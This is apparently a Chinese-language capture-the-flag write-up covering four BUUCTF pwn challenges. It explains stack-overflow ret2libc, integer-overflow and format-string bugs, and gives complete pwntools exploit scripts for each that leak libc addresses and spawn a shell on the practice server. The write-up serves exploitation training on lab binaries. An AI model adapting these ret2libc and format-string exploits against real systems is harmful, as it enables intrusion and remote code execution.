buuctf pwn (21~24)
铁人三项(第五赛区)_2018_rop
32位elf文件,看一下逻辑
栈溢出,没有system函数,没有/bin/sh字符串
再看一下保护
那估计就是retlibc题了,脚本如下:
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
p=remote("node4.buuoj.cn",29721)
elf=ELF("./pwn21")
ret=0x08048199
main=0x80484C6
read_got=elf.got['read']
write_plt=elf.plt['write']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base
payload=b'a'*(0x88+4)+p32(system)+p32(0)+p32(bin_sh)
p.sendline(payload)
p.interactive()
bjdctf_2020_babyrop
64位elf文件,看一下程序逻辑
栈溢出,没有system函数和/bin/sh字符串
再看一眼保护
那应该就是retlibc64位题了
脚本如下:
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",29360)
elf=ELF("./pwn22")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main=0x4006AD
pop=0x0000000000400733 #pop rdi ret
ret=0x00000000004004c9
p.recvuntil("Pull up your sword and tell me u story!\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(read_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)#进行搜寻
libc_base = read_addr - libc.dump('read')#开始计算地址
system = libc.dump('system')+libc_base
bin_sh = libc.dump('str_bin_sh')+libc_base
p.recvuntil("Pull up your sword and tell me u story!\n")
payload=b'a'*(0x20+8)+p64(pop)+p64(bin_sh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
如果出现超时的情况,就换一下libc版本,多试几次就能找到
bjdctf_2020_babystack2
64位elf文件,看一下程序逻辑
分析之后,发现这个if判断不让我们输入的数大于10,那这直接用整数溢出
之前写过相关的,看一下,在这个文章的下面
给了后门函数:
脚本如下:
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
p=remote("node4.buuoj.cn",28233)
sys=0x400726
p.recvuntil("[+]Please input the length of your name:\n")
p.sendline(str('-1'))
payload=b'a'*(0x10+8)+p64(sys)
p.sendline(payload)
p.interactive()
jarvisoj_fm
32位elf文件,再看一下程序逻辑
这个是格式化字符串漏洞,通过这个漏洞,可以把x覆盖为4
这个可以用这个fmtstr_payload,也可以不用,首先先看一下偏移
数一下,偏移是11
不用fmtstr_payload脚本如下:
from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
#p=process("./pwn24")
p=remote("node4.buuoj.cn",26446)
payload=p32(0x804A02C)+b'%11$n'
p.sendline(payload)
p.interactive()
用的话脚本如下:
from pwn import *
context(os = "linux", arch = "i386")
context.log_level = 'debug'
#p=process("./pwn24")
p=remote("node4.buuoj.cn",26446)
payload=fmtstr_payload(11,{
0x0804A02C:4})
p.sendline(payload)
p.interactive()
都能打通